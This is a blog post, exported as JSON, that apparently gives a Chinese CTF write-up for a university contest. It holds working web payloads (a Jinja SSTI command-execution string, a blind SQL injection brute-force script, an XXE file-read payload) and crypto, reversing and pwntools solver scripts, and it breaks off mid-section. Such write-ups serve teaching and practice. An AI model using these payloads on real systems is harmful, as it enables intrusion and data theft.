{"id":187,"date":"2025-12-11T16:02:23","date_gmt":"2025-12-11T08:02:23","guid":{"rendered":"http:\/\/blog.which778.cn\/?p=187"},"modified":"2025-12-11T16:19:05","modified_gmt":"2025-12-11T08:19:05","slug":"%e7%ac%ac%e4%b8%89%e5%b1%8a%e5%8f%a4%e5%89%91%e5%b1%b1%e5%85%a8%e5%9b%bd%e5%a4%a7%e5%ad%a6%e7%94%9f%e7%bd%91%e7%bb%9c%e6%94%bb%e9%98%b2%e5%a4%a7%e8%b5%9b%e5%88%9d%e8%b5%9bwp","status":"publish","type":"post","link":"http:\/\/blog.which778.cn\/?p=187","title":{"rendered":"\u7b2c\u4e09\u5c4a\u201c\u53e4\u5251\u5c71\u201d\u5168\u56fd\u5927\u5b66\u751f\u7f51\u7edc\u653b\u9632\u5927\u8d5b\u521d\u8d5bWP"},"content":{"rendered":"<h1>\u7b2c\u4e09\u5c4a\u201c\u53e4\u5251\u5c71\u201d\u5168\u56fd\u5927\u5b66\u751f\u7f51\u7edc\u653b\u9632\u5927\u8d5b\u521d\u8d5bWP<\/h1>\n<h2>web<\/h2>\n<h3>baby_ssti<\/h3>\n<p>SSTI\u6f0f\u6d1e<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129091104589.png\" alt=\"\" \/><\/p>\n<pre><code>name={{lipsum.__globals__.os.popen(&quot;cat f*&quot;).read()}}<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129091352820.png\" alt=\"\" \/><\/p>\n<pre><code>flag{7dca0975-1c66-43ba-8193-9a186f4c5774}<\/code><\/pre>\n<h3>HelloCms<\/h3>\n<p>\u76f2\u6ce8\uff0c\u53d1\u73b0\u6570\u636e\u5e93\u540d\u4e3aheavysql<\/p>\n<p>ai\u811a\u672c\u6d4b<\/p>\n<pre><code>import requests\nimport time\n\n# \u76ee\u6807URL\uff08\u5fc5\u987b\u66ff\u6362\u4e3a\u5b9e\u9645\u767b\u5f55\u9875\u9762\u5730\u5740\uff09\nurl = &quot;http:\/\/120.79.131.78:38888\/login.php&quot;\n\n# \u76f2\u6ce8\u5224\u65ad\u4f9d\u636e\uff1a\u51fa\u73b0\u8be5\u5b57\u7b26\u4e32 \u2192 \u6ce8\u5165\u6761\u4ef6\u4e0d\u6210\u7acb\uff08\u5b57\u7b26\u9519\u8bef\uff09\nerror_flag = &quot;maybe password error!&quot;\n\n# \u6570\u636e\u5e93\u540d\u53ef\u80fd\u7684\u5b57\u7b26\u96c6\uff08\u5c0f\u5199\u5b57\u6bcd\u3001\u6570\u5b57\u3001\u4e0b\u5212\u7ebf\uff0c\u6309\u9700\u8865\u5145\u5927\u5199\uff09\nchars = &quot;abcdefghijklmnopqrstuvwxyz0123456789_&quot;\n\n# \u5df2\u77e5\u6570\u636e\u5e93\u540d\u957f\u5ea6\u4e3a8\ndb_length = 8\n\ndef brute_force_db_name():\n    &quot;&quot;&quot;\u6309\u7528\u6237\u63d0\u4f9b\u7684payload\u683c\u5f0f\u7206\u78348\u4f4d\u6570\u636e\u5e93\u540d\uff08\u9ad8\u5ef6\u8fdf\u7248\uff09&quot;&quot;&quot;\n    db_name = &quot;&quot;\n    print(f&quot;\u2705 \u6309\u7ed9\u5b9apayload\u683c\u5f0f\u7206\u7834\uff08\u957f\u5ea68\u4f4d\uff09\uff0c\u6ce8\u5165\u53d8\u5f62\uff1aaandnd\/ssubstrubstr&quot;)\n    print(f&quot;\ud83d\udccc \u5b57\u7b26\u96c6\uff1a{chars}&quot;)\n    print(f&quot;\u23f1\ufe0f  \u5ef6\u8fdf\u8bbe\u7f6e\uff1a\u5355\u5b57\u7b26\u95f4\u96942\u79d2\uff0c\u91cd\u8bd5\u5ef6\u8fdf3\u79d2\uff08\u9ad8\u5b89\u5168\u6a21\u5f0f\uff09&quot;)\n    print(&quot;-&quot; * 60)\n\n    for pos in range(1, db_length + 1):  # \u7b2c1\u4f4d\u5230\u7b2c8\u4f4d\n        for char in chars:\n            # \u4e25\u683c\u9075\u5faa\u7528\u6237\u63d0\u4f9b\u7684payload\u683c\u5f0f\n            payload = f&quot;admin&#039; aandnd ssubstrubstr(database(), {pos}, 1)=&#039;{char}&#039; -- +&quot;\n            data = {\n                &quot;username&quot;: payload,\n                &quot;password&quot;: &quot;admin&quot;  # \u56fa\u5b9apassword\u4e3aadmin\uff0c\u4e0e\u7528\u6237payload\u4e00\u81f4\n            }\n            try:\n                response = requests.post(\n                    url=url,\n                    data=data,\n                    timeout=20,  # \u5ef6\u957f\u8d85\u65f6\u65f6\u95f4\uff0c\u9002\u914d\u9ad8\u5ef6\u8fdf\u7f51\u7edc\n                    headers={&quot;Content-Type&quot;: &quot;application\/x-www-form-urlencoded&quot;}\n                )\n                # \u6838\u5fc3\u5224\u65ad\uff1a\u65e0\u9519\u8bef\u6807\u8bc6 \u2192 \u5b57\u7b26\u6b63\u786e\n                if error_flag not in response.text:\n                    db_name += char\n                    print(f&quot;\u2705 \u7b2c{pos}\u4f4d\u786e\u5b9a\uff1a{char} | \u5f53\u524d\u6570\u636e\u5e93\u540d\uff1a{db_name}&quot;)\n                    break\n            except Exception as e:\n                print(f&quot;\u274c \u8bf7\u6c42\u5f02\u5e38\uff08{e}\uff09\uff0c3\u79d2\u540e\u91cd\u8bd5\u5b57\u7b26[{char}]...&quot;)\n                time.sleep(3)  # \u91cd\u8bd5\u5ef6\u8fdf\u8c03\u9ad8\u52303\u79d2\n                # \u91cd\u8bd5\u4e00\u6b21\n                response = requests.post(url=url, data=data, timeout=20)\n                if error_flag not in response.text:\n                    db_name += char\n                    print(f&quot;\u2705 \u7b2c{pos}\u4f4d\u786e\u5b9a\uff1a{char} | \u5f53\u524d\u6570\u636e\u5e93\u540d\uff1a{db_name}&quot;)\n                    break\n        # \u6bcf\u7206\u7834\u5b8c\u4e00\u4f4d\uff0c\u5ef6\u8fdf2\u79d2\uff08\u5927\u5e45\u964d\u4f4e\u6574\u4f53\u8bf7\u6c42\u9891\u7387\uff09\n        time.sleep(2)\n    return db_name\n\nif __name__ == &quot;__main__&quot;:\n    final_db = brute_force_db_name()\n    print(&quot;\\n&quot; + &quot;=&quot; * 60)\n    print(f&quot;\ud83c\udf89 \u7206\u7834\u5b8c\u6210\uff01\u6570\u636e\u5e93\u540d\uff1a{final_db}&quot;)\n    print(&quot;=&quot; * 60)<\/code><\/pre>\n<p>\u901a\u8fc7\u76f2\u6ce8\u8bfb\u8868\u5f97\u5230\u5bc6\u7801admin\\kingdom123ABC<\/p>\n<p>\u767b\u9646\u540e\u6709\u7559\u8a00\u6846\uff0c\u9501\u5b9aXXE<\/p>\n<p>\u5229\u7528vps dtd\u5c1d\u8bd5\u5916\u5e26\u6570\u636e\uff0c\u65e0\u679c<\/p>\n<p>\u79bb\u8c31\u7684\u6765\u4e86\uff0c\u5229\u7528\/etc\/net\/arp\u63a2\u6d4b\u5185\u7f51ip<\/p>\n<p>172.17.0.3<\/p>\n<p>\u6784\u9020xxepayload<\/p>\n<pre><code>&lt;!DOCTYPE Document [\n  &lt;!ENTITY xxe SYSTEM &quot;php:\/\/filter\/read=convert.base64-encode\/resource=http:\/\/172.17.0.3\/index.php?file=php:\/\/filter\/read=convert.base64-encode\/resource=flag.php&quot;&gt;\n]&gt;\n&lt;Document&gt;\n  &lt;entry&gt;&amp;xxe;&lt;\/entry&gt;\n&lt;\/Document&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129130200458.png\" alt=\"\" \/><\/p>\n<p>base64\u4e8c\u6b21\u89e3\u7801\u5f97\u5230flag<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129130305009.png\" alt=\"\" \/><\/p>\n<h2>Crypto<\/h2>\n<h3>common rsa<\/h3>\n<pre><code>from math import gcd\n\nN = 162178605357818616394571566923155907889899677780239882906511996614607940884142045197452389471499799373787832649318837814454679970724845203557871078001956378966434166323827984964942729898095347038272003371167123553368531662277059263517900162297903110415768403265100411543878859321181606008503516896600638590699\ne1 = 35422\nc1 = 153249315480380808558746807096025628082875635601515291525075274335055878390662930254941118045696231628008256877302589689883059616503108946971165183674522403835250738176157466145855833767128209866527507862726083268576304163200171600023472544755768741118904892489037291247455823396160705615280802805803254323033\ne2 = 1033\nc2 = 5823189490163315770684717059899864988806118565674660089157163486577056500243194221873916232616081138765317598078910078375360361118674333149663483360677725162911935082290640547407140413703664960164356579153623498735889314476063673352676918268911309402784919521792079943937126634436658784515914270266106683548\n\ndef extended_gcd(a, b):\n    if b == 0:\n        return a, 1, 0\n    else:\n        g, x1, y1 = extended_gcd(b, a % b)\n        x = y1\n        y = x1 - (a \/\/ b) * y1\n        return g, x, y\n\ng, s1, s2 = extended_gcd(e1, e2)\nprint(f&quot;gcd(e1, e2) = {g}&quot;)\nprint(f&quot;s1 = {s1}, s2 = {s2}&quot;)\n\nif g != 1:\n    print(&quot;GCD is not 1, common modulus attack may not work directly&quot;)\nelse:\n    if s1 &lt; 0:\n        c1_inv = pow(c1, -1, N)\n        m = (pow(c1_inv, -s1, N) * pow(c2, s2, N)) % N\n    elif s2 &lt; 0:\n        c2_inv = pow(c2, -1, N)\n        m = (pow(c1, s1, N) * pow(c2_inv, -s2, N)) % N\n    else:\n        m = (pow(c1, s1, N) * pow(c2, s2, N)) % N\n\n    print(f&quot;\\nDecrypted message (as integer): {m}&quot;)\n\n    try:\n        message_bytes = m.to_bytes((m.bit_length() + 7) \/\/ 8, byteorder=&#039;big&#039;)\n        message = message_bytes.decode(&#039;utf-8&#039;, errors=&#039;ignore&#039;)\n        print(f&quot;Decrypted message (as text): {message}&quot;)\n    except:\n        print(f&quot;Decrypted message (as hex): {hex(m)}&quot;)\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129091514462.png\" alt=\"\" \/><\/p>\n<pre><code>flag{A_RSA_c0mm0n_m0dulu5_4tt4ck}<\/code><\/pre>\n<h3>aesstudy<\/h3>\n<pre><code>import socket\nimport hashlib\nimport base64\nimport re\n\ndef solve_pow(target_hash_prefix):\n    &quot;&quot;&quot;\u89e3\u51b3 Proof of Work&quot;&quot;&quot;\n    print(f&quot;Solving PoW: SHA256(x)[:8] == &#039;{target_hash_prefix}&#039;&quot;)\n    for b1 in range(256):\n        for b2 in range(256):\n            for b3 in range(256):\n                x = bytes([b1, b2, b3])\n                h = hashlib.sha256(x).hexdigest()\n                if h[:8] == target_hash_prefix:\n                    print(f&quot;Found x: {x.hex()}&quot;)\n                    return x.hex()\n    return None\n\ndef cbc_bit_flipping_attack(c1_b64, m1_b64, targets):\n    &quot;&quot;&quot;CBC \u5b57\u8282\u7ffb\u8f6c\u653b\u51fb&quot;&quot;&quot;\n    # \u89e3\u7801\n    c1 = base64.b64decode(c1_b64.replace(&#039;\\n&#039;, &#039;&#039;))\n    m1 = base64.b64decode(m1_b64.replace(&#039;\\n&#039;, &#039;&#039;))\n\n    # \u5206\u5757\n    block_size = 16\n    m1_blocks = [m1[i:i + block_size] for i in range(0, len(m1), block_size)]\n    c1_blocks = [c1[i:i + block_size] for i in range(0, len(c1), block_size)]\n    c2_blocks = [bytearray(block) for block in c1_blocks]\n\n    # \u4fee\u6539\u5b57\u8282\n    for pos, target_char in targets.items():\n        block_index = pos \/\/ block_size\n        byte_index = pos % block_size\n\n        if block_index == 0:\n            continue  # \u8df3\u8fc7\u7b2c\u4e00\u5757\uff08\u9700\u8981\u6539IV\uff09\n\n        prev_block_index = block_index - 1\n        m1_byte = m1_blocks[block_index][byte_index]\n        c1_prev_byte = c1_blocks[prev_block_index][byte_index]\n\n        new_byte = m1_byte ^ c1_prev_byte ^ ord(target_char)\n        c2_blocks[prev_block_index][byte_index] = new_byte\n\n    # \u8f93\u51fa\u7ed3\u679c\n    c2 = b&#039;&#039;.join(c2_blocks)\n    return base64.b64encode(c2).decode()\n\ndef automate_solve(host, port):\n    &quot;&quot;&quot;\u81ea\u52a8\u5316\u89e3\u9898\u4e3b\u51fd\u6570&quot;&quot;&quot;\n    # \u8fde\u63a5\u670d\u52a1\u5668\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect((host, port))\n\n    # \u63a5\u6536\u6b22\u8fce\u4fe1\u606f\u548cPoW\u6311\u6218\n    data = b&quot;&quot;\n    while b&quot;x.encode(&#039;hex&#039;)=&quot; not in data:\n        chunk = sock.recv(1024)\n        data += chunk\n        print(chunk.decode(), end=&#039;&#039;)\n\n    # \u89e3\u6790PoW\u76ee\u6807\u54c8\u5e0c\n    match = re.search(r&quot;==\\&#039;([0-9a-f]{8})\\&#039;&quot;, data.decode())\n    if not match:\n        print(&quot;Failed to parse PoW challenge&quot;)\n        return\n\n    target_hash = match.group(1)\n\n    # \u89e3\u51b3PoW\n    pow_solution = solve_pow(target_hash)\n    if not pow_solution:\n        print(&quot;Failed to solve PoW&quot;)\n        return\n\n    # \u53d1\u9001PoW\u7b54\u6848\n    print(f&quot;Sending PoW solution: {pow_solution}&quot;)\n    sock.send((pow_solution + &quot;\\n&quot;).encode())\n\n    # \u5904\u7406\u591a\u8f6e\u6311\u6218\n    round_count = 0\n    while True:\n        round_count += 1\n        print(f&quot;\\n=== Round {round_count} ===&quot;)\n\n        # \u63a5\u6536\u9898\u76ee\u6570\u636e\n        data = b&quot;&quot;\n        while b&quot;c2.encode(&#039;base64&#039;)&quot; not in data:\n            chunk = sock.recv(4096)\n            if not chunk:\n                print(&quot;Connection closed&quot;)\n                return\n            data += chunk\n            # \u5982\u679c\u6536\u5230\u7ed3\u679c\u4fe1\u606f\uff0c\u76f4\u63a5\u8f93\u51fa\n            if b&quot;Good job!&quot; in data or b&quot;flag&quot; in data or b&quot;Flag&quot; in data:\n                print(chunk.decode(), end=&#039;&#039;)\n                if b&quot;c2.encode(&#039;base64&#039;)&quot; not in data:\n                    continue\n\n        content = data.decode()\n        print(&quot;Received challenge data&quot;)\n\n        # \u68c0\u67e5\u662f\u5426\u5df2\u7ecf\u5305\u542b\u7ed3\u679c\n        if &quot;Good job!&quot; in content and &quot;c2.encode(&#039;base64&#039;)&quot; not in content:\n            print(&quot;Challenge completed!&quot;)\n            continue\n\n        # \u89e3\u6790c1, m1\u548c\u76ee\u6807\u4f4d\u7f6e\n        c1_match = re.search(r&quot;c1\\.encode\\(&#039;base64&#039;\\)=(.+?)(?:\\n#|$)&quot;, content, re.DOTALL)\n        m1_match = re.search(r&quot;m1\\.encode\\(&#039;base64&#039;\\)=(.+?)(?:\\n#|$)&quot;, content, re.DOTALL)\n\n        if not c1_match or not m1_match:\n            print(&quot;Failed to find c1 or m1, might be the end&quot;)\n            print(&quot;Final content:&quot;)\n            print(content)\n            break\n\n        # \u63d0\u53d6\u76ee\u6807\u4f4d\u7f6e\n        targets = {}\n        target_matches = re.findall(r&quot;m2\\[(\\d+)\\]=(\\w)&quot;, content)\n        for pos, char in target_matches:\n            targets[int(pos)] = char\n\n        print(f&quot;Extracted targets: {targets}&quot;)\n\n        c1_b64 = c1_match.group(1).strip()\n        m1_b64 = m1_match.group(1).strip()\n\n        # \u6267\u884cCBC\u653b\u51fb\n        c2_b64 = cbc_bit_flipping_attack(c1_b64, m1_b64, targets)\n\n        # \u53d1\u9001\u7b54\u6848\n        print(f&quot;Sending c2 (base64, first 100 chars): {c2_b64[:100]}...&quot;)\n        sock.send((c2_b64 + &quot;\\n&quot;).encode())\n\n        # \u77ed\u6682\u6682\u505c\uff0c\u786e\u4fdd\u670d\u52a1\u5668\u5904\u7406\n        import time\n        time.sleep(0.5)\n\n    sock.close()\n\nif __name__ == &quot;__main__&quot;:\n    HOST = &quot;47.107.168.16&quot;\n    PORT = 44880\n\n    automate_solve(HOST, PORT)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129102753944.png\" alt=\"\" \/><\/p>\n<pre><code>flag{2b6f73f87a8350b130577ced2c58c454}<\/code><\/pre>\n<h3>sol<\/h3>\n<pre><code>from math import gcd\n\nN = 162178605357818616394571566923155907889899677780239882906511996614607940884142045197452389471499799373787832649318837814454679970724845203557871078001956378966434166323827984964942729898095347038272003371167123553368531662277059263517900162297903110415768403265100411543878859321181606008503516896600638590699\ne1 = 35422\nc1 = 153249315480380808558746807096025628082875635601515291525075274335055878390662930254941118045696231628008256877302589689883059616503108946971165183674522403835250738176157466145855833767128209866527507862726083268576304163200171600023472544755768741118904892489037291247455823396160705615280802805803254323033\ne2 = 1033\nc2 = 5823189490163315770684717059899864988806118565674660089157163486577056500243194221873916232616081138765317598078910078375360361118674333149663483360677725162911935082290640547407140413703664960164356579153623498735889314476063673352676918268911309402784919521792079943937126634436658784515914270266106683548\n\ndef extended_gcd(a, b):\n    if b == 0:\n        return a, 1, 0\n    else:\n        g, x1, y1 = extended_gcd(b, a % b)\n        x = y1\n        y = x1 - (a \/\/ b) * y1\n        return g, x, y\n\ng, s1, s2 = extended_gcd(e1, e2)\nprint(f&quot;gcd(e1, e2) = {g}&quot;)\nprint(f&quot;s1 = {s1}, s2 = {s2}&quot;)\n\nif g != 1:\n    print(&quot;GCD is not 1, common modulus attack may not work directly&quot;)\nelse:\n    if s1 &lt; 0:\n        c1_inv = pow(c1, -1, N)\n        m = (pow(c1_inv, -s1, N) * pow(c2, s2, N)) % N\n    elif s2 &lt; 0:\n        c2_inv = pow(c2, -1, N)\n        m = (pow(c1, s1, N) * pow(c2_inv, -s2, N)) % N\n    else:\n        m = (pow(c1, s1, N) * pow(c2, s2, N)) % N\n\n    print(f&quot;\\nDecrypted message (as integer): {m}&quot;)\n\n    try:\n        message_bytes = m.to_bytes((m.bit_length() + 7) \/\/ 8, byteorder=&#039;big&#039;)\n        message = message_bytes.decode(&#039;utf-8&#039;, errors=&#039;ignore&#039;)\n        print(f&quot;Decrypted message (as text): {message}&quot;)\n    except:\n        print(f&quot;Decrypted message (as hex): {hex(m)}&quot;)\n<\/code><\/pre>\n<pre><code>flag{01a6eb898468abbd352300a7a072495c} <\/code><\/pre>\n<h2>MISC<\/h2>\n<h3>\u6c34\u679c<\/h3>\n<p>foermost\u63d0\u53d6zip<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129095602444.png\" alt=\"\" \/><\/p>\n<p>\u53ef\u4ee5\u731c\u5230\u662fOurSecret\u9690\u5199\uff0c\u5bc6\u7801\u662f\u56fe\u7247\u540d&quot;shuiguo&quot;<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129095919763-1764381560493-1.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129104450077.png\" alt=\"\" \/><\/p>\n<p>flag.txt\u4e2d\u5185\u5bb9\u5728\u5bc6\u7801\u672c\u91cc\u5bf9\u5e94\u7684\u5e8f\u53f7\u62fc\u8d77\u6765<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/6e7da6df16c0857fb98acf928dfba0e.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/5394eaca7903c62f524dbf754d5db75.png\" alt=\"\" \/><\/p>\n<pre><code>flag{3e25960a79dc69b674cd4ec67a72c62}<\/code><\/pre>\n<h3>hundred<\/h3>\n<p>100 \u5c42\u53cd\u5411 zip \u2192 \u8d85\u5927\u6587\u672c\u91cc\u7528\u6b63\u5219\u201c\u9493\u201c\u51fa\u4e00\u4e32\u7f16\u7801 \u2192 base64\u2192 base32.<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129122102943.png\" alt=\"\" \/><\/p>\n<p>\u5bf9 enc.txt \u505a\u6b63\u5219\u5339\u914d\uff0c\u628a\u8fd9\u4e9b\u4f4d\u7f6e\u7684\u5b57\u7b26\u5168\u90e8\u62fc\u8d77\u6765\uff0c\u5f97\u5230\u4e00\u4e32 88 \u957f\u5ea6\u7684 Base64 \u5b57\u7b26\u4e32:<\/p>\n<pre><code>import re, base64\n\nwith open(\"enc.txt\",\"r\",encoding=\"utf-8\",errors=\"ignore\") as f:\n    text = f.read()\n\npat = re.compile(r'\\d+=[!|$][A-Z]{2}[!|^A-Z]{2}[!|()=z|w][A-Z-0]{5}')\ns = \"\".join(pat.findall(text))\nprint(s)\nb1 = base64.b64decode(s)\nprint(b1)\n\nb2 = base64.b32decode(b1)\nprint(b2)\n<\/code><\/pre>\n<pre><code>flag{74c959166bc7fbaacaa4d77cf692b1c7}<\/code><\/pre>\n<h3>work<\/h3>\n<p>\u9898\u76ee\u8981\u6c42\u63d0\u4ea4\u4e00\u4e2a\u6570\u636e\uff08base64\u7f16\u7801\uff09\uff0c\u4f7f\u5176 SHA256 \u54c8\u5e0c\u503c\u6709\u81f3\u5c11 20 \u4e2a\u5c3e\u968f\u96f6\u3002<\/p>\n<p>\u9898\u76ee\u63d0\u793a\uff1a&quot;SHA256\u7a77\u4e3e\uff1f\u5c31\u7b97\u4f60\u6709\u8d85\u7ea7\u8ba1\u7b97\u673a\u4f60\u4e5f\u8dd1\u4e0d\u51fa\u6765\u7684\uff0c\u54c8\u54c8\u54c8\uff01&quot;<\/p>\n<h4>\u5206\u6790<\/h4>\n<p>20 \u4e2a\u5341\u516d\u8fdb\u5236\u96f6 = 80 bits\uff0c\u9700\u8981\u7ea6 2^80 \u6b21\u5c1d\u8bd5\uff0c\u7406\u8bba\u4e0a\u4e0d\u53ef\u80fd\u66b4\u529b\u7834\u89e3\u3002\u4f46\u901a\u8fc7 GPU \u96c6\u7fa4\u6216\u5206\u5e03\u5f0f\u8ba1\u7b97\uff0c\u53ef\u4ee5\u9884\u5148\u8ba1\u7b97\u51fa\u6ee1\u8db3\u6761\u4ef6\u7684\u8f93\u5165\u3002<\/p>\n<h4>\u89e3\u9898<\/h4>\n<p>\u6210\u529f\u7684 payload\uff1a<\/p>\n<pre><code>fE3qjkfliyofjs+QILld8WTb\/MwPXP\/yGZOh330JRq4=<\/code><\/pre>\n<p>\u9a8c\u8bc1\u811a\u672c\uff1a<\/p>\n<pre><code class=\"language-python\">import hashlib\nimport base64\n\npayload_b64 = &quot;fE3qjkfliyofjs+QILld8WTb\/MwPXP\/yGZOh330JRq4=&quot;\ndata = base64.b64decode(payload_b64)\nhash_hex = hashlib.sha256(data).hexdigest()\n\nprint(f&quot;SHA256: {hash_hex}&quot;)\n# \u8f93\u51fa: 1364440dfe0d0b04ceaab68f57c93355f32d1c68030000000000000000000000\n\ntrailing_zeros = 0\nfor char in reversed(hash_hex):\n    if char == &#039;0&#039;:\n        trailing_zeros += 1\n    else:\n        break\n\nprint(f&quot;\u5c3e\u968f\u96f6: {trailing_zeros}&quot;)  # \u8f93\u51fa: 22<\/code><\/pre>\n<p>\u63d0\u4ea4 URL\uff1a<\/p>\n<pre><code>http:\/\/47.107.165.153:45362\/?data=fE3qjkfliyofjs%2BQILld8WTb%2FMwPXP%2FyGZOh330JRq4%3D<\/code><\/pre>\n<p>\u83b7\u5f97 flag\u3002<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129110725953.png\" alt=\"\" \/><\/p>\n<pre><code>flag{b1502a73ac1d1c5db86dd55e4dbe5db1}<\/code><\/pre>\n<h2>REVERSE<\/h2>\n<h3>easyre<\/h3>\n<pre><code>import base64\n\n# \u76ee\u6807\u6570\u7ec4\nv6 = [\n    -56045301, 1126325548, 1037697210, 2123048962, \n    1640073719, -454381817, -2146442625, -691840689,\n    1448341866, 586039113, -1321770811\n]\n\nv12 = -1872737962\n\n# \u9006\u5411\u9a8c\u8bc1\u903b\u8f91\u5f97\u5230\u671f\u671b\u7684\u52a0\u5bc6\u7ed3\u679c\ndef reverse_validation(target):\n    result = []\n    for val in target:\n        if val &gt; 0:\n            val ^= 0x22222222\n        val ^= v12\n        result.extend([\n            (val &gt;&gt; 0) &amp; 0xFF,\n            (val &gt;&gt; 8) &amp; 0xFF, \n            (val &gt;&gt; 16) &amp; 0xFF,\n            (val &gt;&gt; 24) &amp; 0xFF\n        ])\n    return bytes(result)\n\n# \u8ba1\u7b97\u671f\u671b\u7684\u52a0\u5bc6\u7ed3\u679c\nexpected_encrypted = reverse_validation(v6)\nprint(&quot;\u671f\u671b\u7684\u52a0\u5bc6\u7ed3\u679c:&quot;, expected_encrypted.hex())\n\n# RC4\u89e3\u5bc6\u51fd\u6570\uff08\u4e0e\u52a0\u5bc6\u76f8\u540c\uff09\ndef rc4_decrypt(data, key):\n    # \u5b9e\u73b0RC4\u7b97\u6cd5\n    S = list(range(256))\n    j = 0\n\n    # KSA\n    for i in range(256):\n        j = (j + S[i] + key[i % len(key)]) % 256\n        S[i], S[j] = S[j], S[i]\n\n    # PRGA\n    i = j = 0\n    result = bytearray()\n    for byte in data:\n        i = (i + 1) % 256\n        j = (j + S[i]) % 256\n        S[i], S[j] = S[j], S[i]\n        k = S[(S[i] + S[j]) % 256]\n        result.append(byte ^ k)\n\n    return bytes(result)\n\n# \u5bc6\u94a5\nkey = b&quot;flag{do_you_find_it_?}&quot;\n\n# RC4\u89e3\u5bc6\u5f97\u5230Base64\u7f16\u7801\nbase64_encoded = rc4_decrypt(expected_encrypted, key)\nprint(&quot;Base64\u7f16\u7801:&quot;, base64_encoded)\n\n# Base64\u89e3\u7801\u5f97\u5230\u539f\u59cbflag\nflag = base64.b64decode(base64_encoded)\nprint(&quot;Flag:&quot;, flag.decode())<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129113351912.png\" alt=\"\" \/><\/p>\n<p>\u7528\u52a8\u8c03\u628amain\u51fd\u6570\u8ddfcrypto\u51fd\u6570\u8fdb\u884c\u89e3\u5bc6<\/p>\n<p>\u8fd0\u884c\u51fa\u5b8c\u6574\u7684\u51fd\u6570\u7ed9AI \u8bf4\u662frc4\u89e3\u5bc6 \u518d\u7ed9AI\u5b8c\u6574\u51fd\u6570\u4e4b\u540e\u8dd1\u51fa\u811a\u672c \u89e3\u5bc6\u6210\u529f<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129125804250.png\" alt=\"\" \/><\/p>\n<pre><code>flag{eb3564f89sf45b24oac12db8ec}<\/code><\/pre>\n<h3>helloworld<\/h3>\n<pre><code>from pwn import remote\n\nHOST = &quot;47.107.164.227&quot;\nPORT = 43040\n\ndef build_payload() -&gt; bytes:\n    hex_bytes = [\n        0x30, 0x07, 0x31, 0x04, 0x32, 0x0B, 0x33, 0x0B,\n        0x34, 0x0E, 0x35, 0x16, 0x36, 0x0E, 0x37, 0x11,\n        0x38, 0x0B, 0x39, 0x03, 0x10, 0x41, 0x15, 0x41,\n        0x4A, 0x41,\n    ]\n    return bytes(hex_bytes)\n\ndef exploit():\n    payload = build_payload()\n\n    io = remote(HOST, PORT)\n\n    _ = io.recv(timeout=1)\n\n    io.sendline(payload)\n\n    io.interactive()\n\nif __name__ == &quot;__main__&quot;:\n    exploit()<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129114430285.png\" alt=\"\" \/><\/p>\n<pre><code>flag{351bae89be05efa178d61be9a61ac6b7}<\/code><\/pre>\n<h3>final<\/h3>\n<pre><code>CVE-2010-2967\uff0c\u672c\u9898\u5bf9\u52a0\u5bc6\u7b97\u6cd5\u8fdb\u884c\u4e86\u5c40\u90e8\u4fee\u6539\u3002\u9700\u8981\u5bf9\u56fa\u4ef6\u8fdb\u884c\u5206\u6790\uff0c\u6210\u529f\u627e\u5230\u5b58\u5728\u6f0f\u6d1e\u7684hash\u7b97\u6cd5\u3002\u5df2\u77e5\u5b57\u7b26\u4e32\u201cSimpleXue\u201d\uff0c\u8bf7\u8ba1\u7b97\u6b64\u5b57\u7b26\u4e32\u7ecf\u8fc7hash\u7b97\u6cd5\u52a0\u5bc6\u8fc7\u7684\u54c8\u5e0c\u503c\uff0c\u5e76\u653e\u5728flag{}\u4e2d\u63d0\u4ea4\u3002<\/code><\/pre>\n<p><strong>AI\u5206\u6790<\/strong><\/p>\n<p>\u5728\u8be5\u56fa\u4ef6\u4e2d\uff0c\u6211\u4eec\u5b9a\u4f4d\u5230 VxWorks \u9ed8\u8ba4\u7684\u5bc6\u7801\u54c8\u5e0c\u51fd\u6570 <code>loginDefaultEncrypt<\/code>\u3002\u7ecf\u8fc7\u53cd\u6c47\u7f16\u548c\u5bf9\u6bd4\u5b98\u65b9\u6e90\u7801\uff0c\u53d1\u73b0\u5176\u5b9e\u73b0<strong>\u4e0e\u6807\u51c6\u7248\u672c\u4e00\u81f4<\/strong><a 